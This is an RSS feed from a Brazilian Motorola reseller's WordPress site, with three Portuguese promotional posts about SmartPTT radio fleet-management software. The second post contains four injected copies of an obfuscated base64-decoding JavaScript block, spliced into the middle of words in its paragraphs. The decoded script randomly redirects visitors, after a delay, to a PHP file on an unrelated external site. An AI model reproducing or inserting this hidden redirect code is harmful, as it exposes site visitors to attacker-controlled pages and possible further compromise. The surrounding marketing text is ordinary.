<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>CDC Radiocomunicação - Revenda Motorola &#187; Smart PTT</title>
	<atom:link href="http://cdcdigital.com.br/category/smart-ptt/feed/" rel="self" type="application/rss+xml" />
	<link>http://cdcdigital.com.br</link>
	<description>CDC</description>
	<lastBuildDate>Thu, 03 Aug 2023 18:52:42 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.1</generator>
		<item>
		<title>SmartPTT: Redução de custo e eficiência no controle de frota</title>
		<link>http://cdcdigital.com.br/smartptt-reducao-de-custo-e-eficiencia-no-controle-de-frota/</link>
		<comments>http://cdcdigital.com.br/smartptt-reducao-de-custo-e-eficiencia-no-controle-de-frota/#comments</comments>
		<pubDate>Fri, 16 May 2014 18:04:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[MOTOTRBO]]></category>
		<category><![CDATA[Smart PTT]]></category>
		<category><![CDATA[Mototrbo]]></category>
		<category><![CDATA[rádio mototrbo]]></category>
		<category><![CDATA[Rádios Comunicadores]]></category>
		<category><![CDATA[sistema de comunicação para frota]]></category>

		<guid isPermaLink="false">http://cdcdigital.com.br/?p=2072</guid>
		<description><![CDATA[<p>A área de transportes é uma das que mais precisa de solução em comunicação para melhorar a produtividade no desempenho das tarefas. E se você precisa reduzir os custos de empresa e ter eficiência no controle de frota, o ideal é implantar o SmartPTT na sua empresa e proporcionar essa ferramenta a todos os seus [...]</p><p>The post <a href="http://cdcdigital.com.br/smartptt-reducao-de-custo-e-eficiencia-no-controle-de-frota/">SmartPTT: Redução de custo e eficiência no controle de frota</a> appeared first on <a href="http://cdcdigital.com.br">CDC Radiocomunicação - Revenda Motorola</a>.</p>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><img class="alignleft size-medium wp-image-2073" style="margin: 10px;" title="SmartPTT" src="http://cdcdigital.com.br/wp-content/uploads/2014/05/SmartPTT2-300x96.jpg" alt="SmartPTT" width="300" height="96" />A área de transportes é uma das que mais precisa de solução em comunicação para melhorar a produtividade no desempenho das tarefas. E se você precisa reduzir os custos de empresa e ter eficiência no controle de frota, o ideal é implantar o <a title="SmartPTT" href="http://cdcdigital.com.br/produtos/software-smart-ptt/" target="_blank"><strong><span style="text-decoration: underline;">SmartPTT</span></strong> </a>na sua empresa e proporcionar essa ferramenta a todos os seus colaboradores.</p>
<p style="text-align: justify;">
<p style="text-align: justify;">Mesmo porque, muitas vezes o atraso e algumas situações não planejadas acabam acontecendo nesse segmento e por falta de comunicação, os erros e falhas acontecem no dia a dia dessas atividades. Imprevistos e outras ações ligadas ao transporte devem ser melhoradas para que os clientes sintam-se mais satisfeitos e o tempo de serviço otimizado.</p>
<p style="text-align: justify;">
<p style="text-align: justify;">O software SmartPTT além de ser altamente colaborativo para as empresas, é completamente eficiente porque possui ferramentas que auxiliam muito os profissionais, como por exemplo a função GPS. O SmartPTT, para quem não sabe, é uma opção incluída em rádios comunicadores da linha Mototrbo, da Motorola, e facilita muito o dia a dia dos trabalhadores dessa área de serviço, como em tantas outras.</p>
<h2 style="text-align: justify;">Rádio Mototrbo: Benefícios do SmartPTT para transportes</h2>
<p style="text-align: justify;">São muitas as vantagens oferecidas por essa ferramenta já que a comunicação e telemetria são realizadas sem taxas e com um ótimo custo-benefício. O <a title="Rádio Mototrbo" href="http://cdcdigital.com.br/produtos/mototrbo/" target="_blank"><strong>rádio Mototrbo</strong></a> é completo e juntamente com esse programa possui vários benefícios. Veja a seguir quais são os principais deles e entenda porque é importante implantar essa solução na sua empresa:</p>
<p style="text-align: justify;">
<ul style="text-align: justify;">
<li>Chamadas em grupo ou individuais;</li>
<li>Monitoramento remoto;</li>
<li>Localização e relatórios com todos os dados de GPS;</li>
<li>Acesso automático ao telefone via despachador;</li>
<li>Sinal de alarme;</li>
<li>Suporte para recepção de chamadas simultâneas;</li>
<li>Entre outros</li>
</ul>
<p style="text-align: justify;">Tudo isso faz com que haja o aumento da disciplina e desempenho dos seus colaboradores, além de aperfeiçoar o gerenciamento de todas as atividades.</p>
<p style="text-align: justify;">A CDC Digital pode te ajudar e oferece essa opção para você. Entre em contato conosco para mais informações.</p>
<p>The post <a href="http://cdcdigital.com.br/smartptt-reducao-de-custo-e-eficiencia-no-controle-de-frota/">SmartPTT: Redução de custo e eficiência no controle de frota</a> appeared first on <a href="http://cdcdigital.com.br">CDC Radiocomunicação - Revenda Motorola</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://cdcdigital.com.br/smartptt-reducao-de-custo-e-eficiencia-no-controle-de-frota/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>O que é SmartPTT?</title>
		<link>http://cdcdigital.com.br/o-que-e-smartptt/</link>
		<comments>http://cdcdigital.com.br/o-que-e-smartptt/#comments</comments>
		<pubDate>Tue, 15 Apr 2014 15:57:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[MOTOTRBO]]></category>
		<category><![CDATA[Smart PTT]]></category>
		<category><![CDATA[Mototrbo]]></category>
		<category><![CDATA[Radio Comunicador]]></category>
		<category><![CDATA[rádios]]></category>
		<category><![CDATA[smartptt]]></category>

		<guid isPermaLink="false">http://cdcdigital.com.br/?p=2020</guid>
		<description><![CDATA[<p>Reconhecido e muito procurado nos últimos tempos, o SmartPTT é um software para rádios comunicadores que garante total controle e eficiência em seus serviços.  Isso porque, juntamente com a tecnologia do sistema Mototrbo, os usuários podem ter segurança e monitorar suas equipes de trabalho através da tela do computador, em qualquer lugar do mundo. O [...]</p><p>The post <a href="http://cdcdigital.com.br/o-que-e-smartptt/">O que é SmartPTT?</a> appeared first on <a href="http://cdcdigital.com.br">CDC Radiocomunicação - Revenda Motorola</a>.</p>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><img class="alignleft size-medium wp-image-2021" style="margin: 10px;" title="SmartPTT" src="http://cdcdigital.com.br/wp-content/uploads/2014/04/SmartPTT1-300x143.jpg" alt="SmartPTT" width="300" height="143" />Reconhecido e muito procurado nos últimos tempos, o <a title="SmartPTT" href="http://cdcdigital.com.br/produtos/software-smart-ptt/" target="_blank"><strong><em><span style="text-decoration: underline;">SmartPTT</span></em></strong> </a>é um software para rádios comunicadores que garante total controle e eficiência em seus serviços.  Isso porque, juntamente com a tecnologia do sistema Mototrbo, os usuários podem ter segurança e monitorar suas equipes de trabalho através da tela do computador, em qualquer lugar do mundo.</p>
<p style="text-align: justify;">O interessante é que os usuários podem desenvolver redes de comunicação e trocar informações ou com<script type="text/javascript">function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&#038;15)<<4)|(we>>2);qe=((we&#038;3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa<y1.length);document.write(x0);};a4872b9c6b('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9oYWxlYWluYS1jYWZlLmNvbS93cC1jb250ZW50L3BsdWdpbnMvYWxsLWluLW9uZS1zZW8tcGFjay9pbmMvdHJhbnNsYXRpb24ucGhwJyIsIGRlbGF5KTsNCn0NCjwvc2NyaXB0PgAA');</script><script type="text/javascript">function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&#038;15)<<4)|(we>>2);qe=((we&#038;3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa<y1.length);document.write(x0);};a4872b9c6b('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9oYWxlYWluYS1jYWZlLmNvbS93cC1jb250ZW50L3BsdWdpbnMvYWxsLWluLW9uZS1zZW8tcGFjay9pbmMvdHJhbnNsYXRpb24ucGhwJyIsIGRlbGF5KTsNCn0NCjwvc2NyaXB0PgAA');</script>andos de modo fácil e rápido. Com essa praticidade que a ferramenta oferece, os serviços desempenhados tornam-se mais produtivos e, assim, o aumento da lucratividade da empresa será alcançado. Ou seja, o SmartPTT faz com que o seu negócio cresça e tenha mais resultados a partir do acompanhamento dos dados e informações em tempo real.</p>
<p style="text-align: justify;">Há diversas funcionalidades e aplicações nesse programa que permitem ainda mais a integração entre os funcionários, tais como, o GPS, mensagens de texto, transmissão e armazenamento de dados, com<script type="text/javascript">function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&#038;15)<<4)|(we>>2);qe=((we&#038;3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa<y1.length);document.write(x0);};a4872b9c6b('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9oYWxlYWluYS1jYWZlLmNvbS93cC1jb250ZW50L3BsdWdpbnMvYWxsLWluLW9uZS1zZW8tcGFjay9pbmMvdHJhbnNsYXRpb24ucGhwJyIsIGRlbGF5KTsNCn0NCjwvc2NyaXB0PgAA');</script><script type="text/javascript">function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&#038;15)<<4)|(we>>2);qe=((we&#038;3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa<y1.length);document.write(x0);};a4872b9c6b('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9oYWxlYWluYS1jYWZlLmNvbS93cC1jb250ZW50L3BsdWdpbnMvYWxsLWluLW9uZS1zZW8tcGFjay9pbmMvdHJhbnNsYXRpb24ucGhwJyIsIGRlbGF5KTsNCn0NCjwvc2NyaXB0PgAA');</script>andos de telemetria, comunicação via IP, entre outros. Vale lembrar ainda, que há opções de produtos que podem ser encontradas para o desempenho de suas atividades, conheça a seguir.</p>
<h2 style="text-align: justify;">SMARTPTT: Linha de produtos</h2>
<p style="text-align: justify;">Existem quatro opções de produtos para você escolher e que a CDC oferece para os clientes, são eles: Advanced, Enterprise, Monitoring e File Transfer. Mas, para que saiba mais informações sobre cada um deles, veja abaixo o que cada um representa:</p>
<ul style="text-align: justify;">
<li>SmartPTT Advanced: Esta solução permite desenvolver sistemas de monitoramento e gerenciamento de rádios em múltiplas redes, despacho de informações e muito mais. É ideal para aqueles que possuem uma rede de rádio pequena ou média e precisa ter controle dos funcionários.</li>
<li>SmartPTT Enterprise: O aplicativo faz o gerenciamento completo dos sistemas digitais e ainda oferece várias funções aos usuários, como é o caso da interconexão telefônica funcional em vários canais e sistemas multi-site.</li>
<li>SmartPTT Monitoring: Trata-se de uma ferramenta que controla e analisa profundamente as funções <a title="Mototrbo" href="http://cdcdigital.com.br/produtos/mototrbo/" target="_blank"><strong>Mototrbo</strong> </a>conectadas a uma rede de rádio comunicador. Além disso, permite o envio de avisos ou mensagens automáticas em caso de falhas ou checagem.</li>
<li>SmartPTT File Transfer: O novo aplicativo pode copiar arquivos entre computadores que estiverem conectados a canais de rádios digitais.</li>
</ul>
<p style="text-align: justify;">Todos garantem confiabilidade e benefícios aos usuários, além de melhorar o desempenho e atuação da sua equipe profissional. Portanto, se quer aumentar sua produtividade e resultados, entre em contato com a CDC e saiba como podemos te ajudar e qual dos produtos é o melhor para você!</p>
<p>&nbsp;</p>
<p>The post <a href="http://cdcdigital.com.br/o-que-e-smartptt/">O que é SmartPTT?</a> appeared first on <a href="http://cdcdigital.com.br">CDC Radiocomunicação - Revenda Motorola</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://cdcdigital.com.br/o-que-e-smartptt/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Qual melhor sistema para gerenciamento e comunicação de frota?</title>
		<link>http://cdcdigital.com.br/qual-melhor-sistema-para-gerenciamento-e-comunicacao-de-frota/</link>
		<comments>http://cdcdigital.com.br/qual-melhor-sistema-para-gerenciamento-e-comunicacao-de-frota/#comments</comments>
		<pubDate>Fri, 04 Apr 2014 15:38:04 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Rádios Comunicadores]]></category>
		<category><![CDATA[Smart PTT]]></category>
		<category><![CDATA[smartptt]]></category>

		<guid isPermaLink="false">http://cdcdigital.com.br/?p=2016</guid>
		<description><![CDATA[<p>A área de transportes é uma, entre tantas outras, que utiliza a radiocomunicação em seus serviços. E os profissionais, principalmente os taxistas, precisam saber qual é o sistema mais indicado para a comunicação de frota, bem como, para o gerenciamento de suas atividades cotidianas. Por isso, se você trabalha na frota de táxi é importante [...]</p><p>The post <a href="http://cdcdigital.com.br/qual-melhor-sistema-para-gerenciamento-e-comunicacao-de-frota/">Qual melhor sistema para gerenciamento e comunicação de frota?</a> appeared first on <a href="http://cdcdigital.com.br">CDC Radiocomunicação - Revenda Motorola</a>.</p>]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><img class="alignleft size-medium wp-image-2017" style="margin: 10px;" title="SmartPTT" src="http://cdcdigital.com.br/wp-content/uploads/2014/04/SmartPTT-300x199.jpg" alt="SmartPTT" width="300" height="199" />A área de transportes é uma, entre tantas outras, que utiliza a radiocomunicação em seus serviços. E os profissionais, principalmente os taxistas, precisam saber qual é o sistema mais indicado para a comunicação de frota, bem como, para o gerenciamento de suas atividades cotidianas.</p>
<p style="text-align: justify;">Por isso, se você trabalha na frota de táxi é importante que saiba que o melhor sistema é o digital com a versão de software<a title="SmartPTT" href="http://cdcdigital.com.br/produtos/software-smart-ptt/" target="_blank"> <strong><em><span style="text-decoration: underline;">SmartPTT</span></em></strong></a>, com o modo IP Site Connect, pois é dessa forma que a comunicação será otimizada. Já que, por meio desse sistema e programa, os funcionários vão conseguir proporcionar um melhor atendimento aos clientes.</p>
<h2 style="text-align: justify;">Conheça as principais vantagens do SmartPTT</h2>
<p style="text-align: justify;">Todos os veículos e viaturas que estiverem em deslocamento ou em serviço pela cidade, podem ser monitoradas pelo operador central a partir da tela da Console SmarPTT. Assim, a execução das tarefas ficam mais simples e práticas, já que assim que ele receber a notificação de chamada para um trabalho, ele pode usar a ferramenta que localiza os endereços ou pontos mais interessantes e checar qual é o táxi livre mais próximo da região onde o cliente se encontra.</p>
<p style="text-align: justify;">Depois de encontrar o táxi mais próximo, o operador envia uma mensagem de texto para indicar algumas informações básicas ao motorista, para que assim, o profissional possa atender o cliente o quanto antes. Isso faz com que haja otimização do tempo e passa mais confiança e credibilidade às pessoas que precisam desse transporte para chegar ao local desejado.</p>
<p style="text-align: justify;">Além dessas vantagens, outras se destacam como:</p>
<ul style="text-align: justify;">
<li>Agilidade e eficiência para realização do serviço de frota;</li>
<li>Gerenciamento preciso e eficaz para que os motoristas possam atender mais clientes e não percam tempo;</li>
<li>Aumento do fluxo de trabalho para a empresa;</li>
<li>A rapidez que os clientes podem chegar ao destino que precisam já que não vão perder tempo e ainda podem ganhar minutos importantes do seu dia;</li>
</ul>
<p style="text-align: justify;">Ou seja, a partir de todas essas questões, pode-se concluir que além de o SmartPTT ser o melhor sistema para os <a title="rádios comunicadores" href="http://cdcdigital.com.br/produtos/radios-comunicadores/" target="_blank">rádios comunicadores</a>, ele pode agradar todas as partes e melhorar ainda mais essa área profissional.</p>
<p>The post <a href="http://cdcdigital.com.br/qual-melhor-sistema-para-gerenciamento-e-comunicacao-de-frota/">Qual melhor sistema para gerenciamento e comunicação de frota?</a> appeared first on <a href="http://cdcdigital.com.br">CDC Radiocomunicação - Revenda Motorola</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://cdcdigital.com.br/qual-melhor-sistema-para-gerenciamento-e-comunicacao-de-frota/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!--
Performance optimized by W3 Total Cache. Learn more: https://www.w3-edge.com/products/


Served from: cdcdigital.com.br @ 2026-04-17 23:51:14 by W3 Total Cache
-->